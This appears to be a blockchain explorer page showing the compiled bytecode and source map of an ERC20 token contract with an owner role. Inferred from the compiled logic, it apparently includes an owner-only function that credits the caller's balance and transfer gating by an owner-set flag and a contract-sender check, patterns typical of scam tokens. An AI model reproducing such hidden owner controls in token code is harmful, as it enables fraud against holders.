00000000000000000000000000000000000000008152600401610f3e906117f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fae90611758565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110959190611838565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611109906117d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611182576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117990611738565b60405180910390fd5b61118d838383611366565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120b90611778565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112a9919061188a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161130d9190611838565b60405180910390a350505050565b6000807fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b90506000833f90506000801b811415801561135d5750818114155b92505050919050565b505050565b60008135905061137a81611c5b565b92915050565b60008151905061138f81611c5b565b92915050565b6000813590506113a481611c72565b92915050565b6000813590506113b981611c89565b92915050565b6000602082840312156113d157600080fd5b60006113df8482850161136b565b91505092915050565b6000602082840312156113fa57600080fd5b600061140884828501611380565b91505092915050565b6000806040838503121561142457600080fd5b60006114328582860161136b565b92505060206114438582860161136b565b9150509250929050565b60008060006060848603121561146257600080fd5b60006114708682870161136b565b93505060206114818682870161136b565b9250506040611492868287016113aa565b9150509250925092565b600080604083850312156114af57600080fd5b60006114bd8582860161136b565b92505060206114ce858286016113aa565b9150509250929050565b6000602082840312156114ea57600080fd5b60006114f884828501611395565b91505092915050565b60006020828403121561151357600080fd5b6000611521848285016113aa565b91505092915050565b611533816118e0565b82525050565b611542816118f2565b82525050565b60006115538261186e565b61155d8185611879565b935061156d818560208601611935565b611576816119f8565b840191505092915050565b600061158e602383611879565b915061159982611a09565b604082019050919050565b60006115b1602283611879565b91506115bc82611a58565b604082019050919050565b60006115d4602683611879565b91506115df82611aa7565b604082019050919050565b60006115f7602883611879565b915061160282611af6565b604082019050919050565b600061161a602083611879565b915061162582611b45565b602082019050919050565b600061163d602583611879565b915061164882611b6e565b604082019050919050565b6000611660602483611879565b915061166b82611bbd565b604082019050919050565b6000611683602583611879565b915061168e82611c0c565b604082019050919050565b6116a28161191e565b82525050565b6116b181611928565b82525050565b60006020820190506116cc600083018461152a565b92915050565b60006040820190506116e7600083018561152a565b6116f4602083018461152a565b9392505050565b60006020820190506117106000830184611539565b92915050565b600060208201905081810360008301526117308184611548565b905092915050565b6000602082019050818103600083015261175181611581565b9050919050565b60006020820190508181036000830152611771816115a4565b9050919050565b60006020820190508181036000830152611791816115c7565b9050919050565b600060208201905081810360008301526117b1816115ea565b9050919050565b600060208201905081810360008301526117d18161160d565b9050919050565b600060208201905081810360008301526117f181611630565b9050919050565b6000602082019050818103600083015261181181611653565b9050919050565b6000602082019050818103600083015261183181611676565b9050919050565b600060208201905061184d6000830184611699565b92915050565b600060208201905061186860008301846116a8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118958261191e565b91506118a08361191e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118d5576118d461199a565b5b828201905092915050565b60006118eb826118fe565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611953578082015181840152602081019050611938565b83811115611962576000848401525b50505050565b6000600282049050600182168061198057607f821691505b60208210811415611994576119936119c9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611c64816118e0565b8114611c6f57600080fd5b50565b611c7b816118f2565b8114611c8657600080fd5b50565b611c928161191e565b8114611c9d57600080fd5b5056fea26469706673582212207b87854d8f90290a35aaa1be50bf62fbb42ec16482ed5a37e4cd39d091dd80a964736f6c63430008030033

Deployed ByteCode Sourcemap

2580:7432:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3633:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5156:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4194:116;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3947:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5331:1159;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3849:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7053:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7693:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4061:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4316:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2282:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3739:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7274:413;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4393:600;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6496:212;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9877:132;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4999:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3633:100;3687:13;3720:5;3713:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3633:100;:::o;5156:169::-;5239:4;5256:39;5265:12;:10;:12::i;:::-;5279:7;5288:6;5256:8;:39::i;:::-;5313:4;5306:11;;5156:169;;;;:::o;4194:116::-;4253:4;2504:12;:10;:12::i;:::-;2494:22;;:6;;;;;;;;;;:22;;;2486:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4277:3:::1;4270:4;;:10;;;;;;;;;;;;;;;;;;4298:4;4291:11;;4194:116:::0;;;:::o;3947:108::-;4008:7;4035:12;;4028:19;;3947:108;:::o;5331:1159::-;5471:4;2816:42;5491:35;;:6;:35;;;:62;;;;5540:13;:11;:13::i;:::-;5530:23;;:6;:23;;;5491:62;:93;;;;5582:1;5557:27;;:13;:11;:13::i;:::-;:27;;;5491:93;:114;;;;5598:7;:5;:7::i;:::-;5588:17;;:6;:17;;;5491:114;5488:973;;;5622:36;5632:6;5640:9;5651:6;5622:9;:36::i;:::-;5679:24;5706:11;:19;5718:6;5706:19;;;;;;;;;;;;;;;:33;5726:12;:10;:12::i;:::-;5706:33;;;;;;;;;;;;;;;;5679:60;;5782:6;5762:16;:26;;5754:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;5877:57;5886:6;5894:12;:10;:12::i;:::-;5927:6;5908:16;:25;5877:8;:57::i;:::-;5488:973;;;;6036:4;;6026:6;:14;;:21;;;;6043:4;;;;;;;;;;;6026:21;6025:46;;;;;6053:18;6064:6;6053:10;:18::i;:::-;6052:19;6025:46;6021:429;;;6093:36;6103:6;6111:9;6122:6;6093:9;:36::i;:::-;6148:24;6175:11;:19;6187:6;6175:19;;;;;;;;;;;;;;;:33;6195:12;:10;:12::i;:::-;6175:33;;;;;;;;;;;;;;;;6148:60;;6255:6;6235:16;:26;;6227:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;6358:57;6367:6;6375:12;:10;:12::i;:::-;6408:6;6389:16;:25;6358:8;:57::i;:::-;6021:429;;5488:973;6478:4;6471:11;;5331:1159;;;;;:::o;3849:92::-;3907:5;3932:1;3925:8;;3849:92;:::o;7053:215::-;7141:4;7158:80;7167:12;:10;:12::i;:::-;7181:7;7227:10;7190:11;:25;7202:12;:10;:12::i;:::-;7190:25;;;;;;;;;;;;;;;:34;7216:7;7190:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;7158:8;:80::i;:::-;7256:4;7249:11;;7053:215;;;;:::o;7693:102::-;7747:7;7782:4;7767:20;;7693:102;:::o;4061:127::-;4135:7;4162:9;:18;4172:7;4162:18;;;;;;;;;;;;;;;;4155:25;;4061:127;;;:::o;4316:71::-;4351:4;4375;;;;;;;;;;;4368:11;;4316:71;:::o;2282:79::-;2320:7;2347:6;;;;;;;;;;;2340:13;;2282:79;:::o;3739:104::-;3795:13;3828:7;3821:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3739:104;:::o;7274:413::-;7367:4;7384:24;7411:11;:25;7423:12;:10;:12::i;:::-;7411:25;;;;;;;;;;;;;;;:34;7437:7;7411:34;;;;;;;;;;;;;;;;7384:61;;7484:15;7464:16;:35;;7456:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7577:67;7586:12;:10;:12::i;:::-;7600:7;7628:15;7609:16;:34;7577:8;:67::i;:::-;7675:4;7668:11;;;7274:413;;;;:::o;4393:600::-;4479:4;2816:42;4554:41;;:12;:10;:12::i;:::-;:41;;;:74;;;;4615:13;:11;:13::i;:::-;4599:29;;:12;:10;:12::i;:::-;:29;;;4554:74;:105;;;;4657:1;4632:27;;:13;:11;:13::i;:::-;:27;;;4554:105;:132;;;;4679:7;:5;:7::i;:::-;4663:23;;:12;:10;:12::i;:::-;:23;;;4554:132;4551:413;;;4703:42;4713:12;:10;:12::i;:::-;4727:9;4738:6;4703:9;:42::i;:::-;4551:413;;;4832:4;;4822:6;:14;;:21;;;;4839:4;;;;;;;;;;;4822:21;4821:52;;;;;4849:24;4860:12;:10;:12::i;:::-;4849:10;:24::i;:::-;4848:25;4821:52;4817:136;;;4895:42;4905:12;:10;:12::i;:::-;4919:9;4930:6;4895:9;:42::i;:::-;4817:136;4551:413;4981:4;4974:11;;4393:600;;;;:::o;6496:212::-;6548:7;6568:19;2713:42;6590:51;;;2898:42;6665:4;6590:81;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6568:103;;6689:11;6682:18;;;6496:212;:::o;9877:132::-;9941:4;2504:12;:10;:12::i;:::-;2494:22;;:6;;;;;;;;;;:22;;;2486:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9981:6:::1;9954:9;:23;9964:12;:10;:12::i;:::-;9954:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;10001:4;9994:11;;9877:132:::0;;;:::o;4999:151::-;5088:7;5115:11;:18;5127:5;5115:18;;;;;;;;;;;;;;;:27;5134:7;5115:27;;;;;;;;;;;;;;;;5108:34;;4999:151;;;;:::o;1023:98::-;1076:7;1103:10;1096:17;;1023:98;:::o;9360:380::-;9513:1;9496:19;;:5;:19;;;;9488:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9594:1;9575:21;;:7;:21;;;;9567:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9678:6;9648:11;:18;9660:5;9648:18;;;;;;;;;;;;;;;:27;9667:7;9648:27;;;;;;;;;;;;;;;:36;;;;9716:7;9700:32;;9709:5;9700:32;;;9725:6;9700:32;;;;;;:::i;:::-;;;;;;;;9360:380;;;:::o;7801:674::-;7959:1;7941:20;;:6;:20;;;;7933:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8043:1;8022:23;;:9;:23;;;;8014:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8098:47;8119:6;8127:9;8138:6;8098:20;:47::i;:::-;8158:21;8182:9;:17;8192:6;8182:17;;;;;;;;;;;;;;;;8158:41;;8235:6;8218:13;:23;;8210:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;8356:6;8340:13;:22;8320:9;:17;8330:6;8320:17;;;;;;;;;;;;;;;:42;;;;8408:6;8384:9;:20;8394:9;8384:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;8449:9;8432:35;;8441:6;8432:35;;;8460:6;8432:35;;;;;;:::i;:::-;;;;;;;;7801:674;;;;:::o;6714:333::-;6771:4;6788:19;6810:66;6788:88;;;;6887:16;6962:4;6950:17;6938:29;;7008:3;6996:15;;:8;:15;;:42;;;;;7027:11;7015:8;:23;;6996:42;6988:51;;;;6714:333;;;:::o;9746:125::-;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:143::-;;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;215:80;;;;:::o;301:133::-;;382:6;369:20;360:29;;398:30;422:5;398:30;:::i;:::-;350:84;;;;:::o;440:139::-;;524:6;511:20;502:29;;540:33;567:5;540:33;:::i;:::-;492:87;;;;:::o;585:262::-;;693:2;681:9;672:7;668:23;664:32;661:2;;;709:1;706;699:12;661:2;752:1;777:53;822:7;813:6;802:9;798:22;777:53;:::i;:::-;767:63;;723:117;651:196;;;;:::o;853:284::-;;972:2;960:9;951:7;947:23;943:32;940:2;;;988:1;985;978:12;940:2;1031:1;1056:64;1112:7;1103:6;1092:9;1088:22;1056:64;:::i;:::-;1046:74;;1002:128;930:207;;;;:::o;1143:407::-;;;1268:2;1256:9;1247:7;1243:23;1239:32;1236:2;;;1284:1;1281;1274:12;1236:2;1327:1;1352:53;1397:7;1388:6;1377:9;1373:22;1352:53;:::i;:::-;1342:63;;1298:117;1454:2;1480:53;1525:7;1516:6;1505:9;1501:22;1480:53;:::i;:::-;1470:63;;1425:118;1226:324;;;;;:::o;1556:552::-;;;;1698:2;1686:9;1677:7;1673:23;1669:32;1666:2;;;1714:1;1711;1704:12;1666:2;1757:1;1782:53;1827:7;1818:6;1807:9;1803:22;1782:53;:::i;:::-;1772:63;;1728:117;1884:2;1910:53;1955:7;1946:6;1935:9;1931:22;1910:53;:::i;:::-;1900:63;;1855:118;2012:2;2038:53;2083:7;2074:6;2063:9;2059:22;2038:53;:::i;:::-;2028:63;;1983:118;1656:452;;;;;:::o;2114:407::-;;;2239:2;2227:9;2218:7;2214:23;2210:32;2207:2;;;2255:1;2252;2245:12;2207:2;2298:1;2323:53;2368:7;2359:6;2348:9;2344:22;2323:53;:::i;:::-;2313:63;;2269:117;2425:2;2451:53;2496:7;2487:6;2476:9;2472:22;2451:53;:::i;:::-;2441:63;;2396:118;2197:324;;;;;:::o;2527:256::-;;2632:2;2620:9;2611:7;2607:23;2603:32;2600:2;;;2648:1;2645;2638:12;2600:2;2691:1;2716:50;2758:7;2749:6;2738:9;2734:22;2716:50;:::i;:::-;2706:60;;2662:114;2590:193;;;;:::o;2789:262::-;;2897:2;2885:9;2876:7;2872:23;2868:32;2865:2;;;2913:1;2910;2903:12;2865:2;2956:1;2981:53;3026:7;3017:6;3006:9;3002:22;2981:53;:::i;:::-;2971:63;;2927:117;2855:196;;;;:::o;3057:118::-;3144:24;3162:5;3144:24;:::i;:::-;3139:3;3132:37;3122:53;;:::o;3181:109::-;3262:21;3277:5;3262:21;:::i;:::-;3257:3;3250:34;3240:50;;:::o;3296:364::-;;3412:39;3445:5;3412:39;:::i;:::-;3467:71;3531:6;3526:3;3467:71;:::i;:::-;3460:78;;3547:52;3592:6;3587:3;3580:4;3573:5;3569:16;3547:52;:::i;:::-;3624:29;3646:6;3624:29;:::i;:::-;3619:3;3615:39;3608:46;;3388:272;;;;;:::o;3666:366::-;;3829:67;3893:2;3888:3;3829:67;:::i;:::-;3822:74;;3905:93;3994:3;3905:93;:::i;:::-;4023:2;4018:3;4014:12;4007:19;;3812:220;;;:::o;4038:366::-;;4201:67;4265:2;4260:3;4201:67;:::i;:::-;4194:74;;4277:93;4366:3;4277:93;:::i;:::-;4395:2;4390:3;4386:12;4379:19;;4184:220;;;:::o;4410:366::-;;4573:67;4637:2;4632:3;4573:67;:::i;:::-;4566:74;;4649:93;4738:3;4649:93;:::i;:::-;4767:2;4762:3;4758:12;4751:19;;4556:220;;;:::o;4782:366::-;;4945:67;5009:2;5004:3;4945:67;:::i;:::-;4938:74;;5021:93;5110:3;5021:93;:::i;:::-;5139:2;5134:3;5130:12;5123:19;;4928:220;;;:::o;5154:366::-;;5317:67;5381:2;5376:3;5317:67;:::i;:::-;5310:74;;5393:93;5482:3;5393:93;:::i;:::-;5511:2;5506:3;5502:12;5495:19;;5300:220;;;:::o;5526:366::-;;5689:67;5753:2;5748:3;5689:67;:::i;:::-;5682:74;;5765:93;5854:3;5765:93;:::i;:::-;5883:2;5878:3;5874:12;5867:19;;5672:220;;;:::o;5898:366::-;;6061:67;6125:2;6120:3;6061:67;:::i;:::-;6054:74;;6137:93;6226:3;6137:93;:::i;:::-;6255:2;6250:3;6246:12;6239:19;;6044:220;;;:::o;6270:366::-;;6433:67;6497:2;6492:3;6433:67;:::i;:::-;6426:74;;6509:93;6598:3;6509:93;:::i;:::-;6627:2;6622:3;6618:12;6611:19;;6416:220;;;:::o;6642:118::-;6729:24;6747:5;6729:24;:::i;:::-;6724:3;6717:37;6707:53;;:::o;6766:112::-;6849:22;6865:5;6849:22;:::i;:::-;6844:3;6837:35;6827:51;;:::o;6884:222::-;;7015:2;7004:9;7000:18;6992:26;;7028:71;7096:1;7085:9;7081:17;7072:6;7028:71;:::i;:::-;6982:124;;;;:::o;7112:332::-;;7271:2;7260:9;7256:18;7248:26;;7284:71;7352:1;7341:9;7337:17;7328:6;7284:71;:::i;:::-;7365:72;7433:2;7422:9;7418:18;7409:6;7365:72;:::i;:::-;7238:206;;;;;:::o;7450:210::-;;7575:2;7564:9;7560:18;7552:26;;7588:65;7650:1;7639:9;7635:17;7626:6;7588:65;:::i;:::-;7542:118;;;;:::o;7666:313::-;;7817:2;7806:9;7802:18;7794:26;;7866:9;7860:4;7856:20;7852:1;7841:9;7837:17;7830:47;7894:78;7967:4;7958:6;7894:78;:::i;:::-;7886:86;;7784:195;;;;:::o;7985:419::-;;8189:2;8178:9;8174:18;8166:26;;8238:9;8232:4;8228:20;8224:1;8213:9;8209:17;8202:47;8266:131;8392:4;8266:131;:::i;:::-;8258:139;;8156:248;;;:::o;8410:419::-;;8614:2;8603:9;8599:18;8591:26;;8663:9;8657:4;8653:20;8649:1;8638:9;8634:17;8627:47;8691:131;8817:4;8691:131;:::i;:::-;8683:139;;8581:248;;;:::o;8835:419::-;;9039:2;9028:9;9024:18;9016:26;;9088:9;9082:4;9078:20;9074:1;9063:9;9059:17;9052:47;9116:131;9242:4;9116:131;:::i;:::-;9108:139;;9006:248;;;:::o;9260:419::-;;9464:2;9453:9;9449:18;9441:26;;9513:9;9507:4;9503:20;9499:1;9488:9;9484:17;9477:47;9541:131;9667:4;9541:131;:::i;:::-;9533:139;;9431:248;;;:::o;9685:419::-;;9889:2;9878:9;9874:18;9866:26;;9938:9;9932:4;9928:20;9924:1;9913:9;9909:17;9902:47;9966:131;10092:4;9966:131;:::i;:::-;9958:139;;9856:248;;;:::o;10110:419::-;;10314:2;10303:9;10299:18;10291:26;;10363:9;10357:4;10353:20;10349:1;10338:9;10334:17;10327:47;10391:131;10517:4;10391:131;:::i;:::-;10383:139;;10281:248;;;:::o;10535:419::-;;10739:2;10728:9;10724:18;10716:26;;10788:9;10782:4;10778:20;10774:1;10763:9;10759:17;10752:47;10816:131;10942:4;10816:131;:::i;:::-;10808:139;;10706:248;;;:::o;10960:419::-;;11164:2;11153:9;11149:18;11141:26;;11213:9;11207:4;11203:20;11199:1;11188:9;11184:17;11177:47;11241:131;11367:4;11241:131;:::i;:::-;11233:139;;11131:248;;;:::o;11385:222::-;;11516:2;11505:9;11501:18;11493:26;;11529:71;11597:1;11586:9;11582:17;11573:6;11529:71;:::i;:::-;11483:124;;;;:::o;11613:214::-;;11740:2;11729:9;11725:18;11717:26;;11753:67;11817:1;11806:9;11802:17;11793:6;11753:67;:::i;:::-;11707:120;;;;:::o;11833:99::-;;11919:5;11913:12;11903:22;;11892:40;;;:::o;11938:169::-;;12056:6;12051:3;12044:19;12096:4;12091:3;12087:14;12072:29;;12034:73;;;;:::o;12113:305::-;;12172:20;12190:1;12172:20;:::i;:::-;12167:25;;12206:20;12224:1;12206:20;:::i;:::-;12201:25;;12360:1;12292:66;12288:74;12285:1;12282:81;12279:2;;;12366:18;;:::i;:::-;12279:2;12410:1;12407;12403:9;12396:16;;12157:261;;;;:::o;12424:96::-;;12490:24;12508:5;12490:24;:::i;:::-;12479:35;;12469:51;;;:::o;12526:90::-;;12603:5;12596:13;12589:21;12578:32;;12568:48;;;:::o;12622:126::-;;12699:42;12692:5;12688:54;12677:65;;12667:81;;;:::o;12754:77::-;;12820:5;12809:16;;12799:32;;;:::o;12837:86::-;;12912:4;12905:5;12901:16;12890:27;;12880:43;;;:::o;12929:307::-;12997:1;13007:113;13021:6;13018:1;13015:13;13007:113;;;13106:1;13101:3;13097:11;13091:18;13087:1;13082:3;13078:11;13071:39;13043:2;13040:1;13036:10;13031:15;;13007:113;;;13138:6;13135:1;13132:13;13129:2;;;13218:1;13209:6;13204:3;13200:16;13193:27;13129:2;12978:258;;;;:::o;13242:320::-;;13323:1;13317:4;13313:12;13303:22;;13370:1;13364:4;13360:12;13391:18;13381:2;;13447:4;13439:6;13435:17;13425:27;;13381:2;13509;13501:6;13498:14;13478:18;13475:38;13472:2;;;13528:18;;:::i;:::-;13472:2;13293:269;;;;:::o;13568:180::-;13616:77;13613:1;13606:88;13713:4;13710:1;13703:15;13737:4;13734:1;13727:15;13754:180;13802:77;13799:1;13792:88;13899:4;13896:1;13889:15;13923:4;13920:1;13913:15;13940:102;;14032:2;14028:7;14023:2;14016:5;14012:14;14008:28;13998:38;;13988:54;;;:::o;14048:222::-;14188:34;14184:1;14176:6;14172:14;14165:58;14257:5;14252:2;14244:6;14240:15;14233:30;14154:116;:::o;14276:221::-;14416:34;14412:1;14404:6;14400:14;14393:58;14485:4;14480:2;14472:6;14468:15;14461:29;14382:115;:::o;14503:225::-;14643:34;14639:1;14631:6;14627:14;14620:58;14712:8;14707:2;14699:6;14695:15;14688:33;14609:119;:::o;14734:227::-;14874:34;14870:1;14862:6;14858:14;14851:58;14943:10;14938:2;14930:6;14926:15;14919:35;14840:121;:::o;14967:182::-;15107:34;15103:1;15095:6;15091:14;15084:58;15073:76;:::o;15155:224::-;15295:34;15291:1;15283:6;15279:14;15272:58;15364:7;15359:2;15351:6;15347:15;15340:32;15261:118;:::o;15385:223::-;15525:34;15521:1;15513:6;15509:14;15502:58;15594:6;15589:2;15581:6;15577:15;15570:31;15491:117;:::o;15614:224::-;15754:34;15750:1;15742:6;15738:14;15731:58;15823:7;15818:2;15810:6;15806:15;15799:32;15720:118;:::o;15844:122::-;15917:24;15935:5;15917:24;:::i;:::-;15910:5;15907:35;15897:2;;15956:1;15953;15946:12;15897:2;15887:79;:::o;15972:116::-;16042:21;16057:5;16042:21;:::i;:::-;16035:5;16032:32;16022:2;;16078:1;16075;16068:12;16022:2;16012:76;:::o;16094:122::-;16167:24;16185:5;16167:24;:::i;:::-;16160:5;16157:35;16147:2;;16206:1;16203;16196:12;16147:2;16137:79;:::o

Swarm Source

ipfs://7b87854d8f90290a35aaa1be50bf62fbb42ec16482ed5a37e4cd39d091dd80a9
Block Transaction Gas Used Reward
Age Block Fee Address BC Fee Address Voting Power Jailed Incoming
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.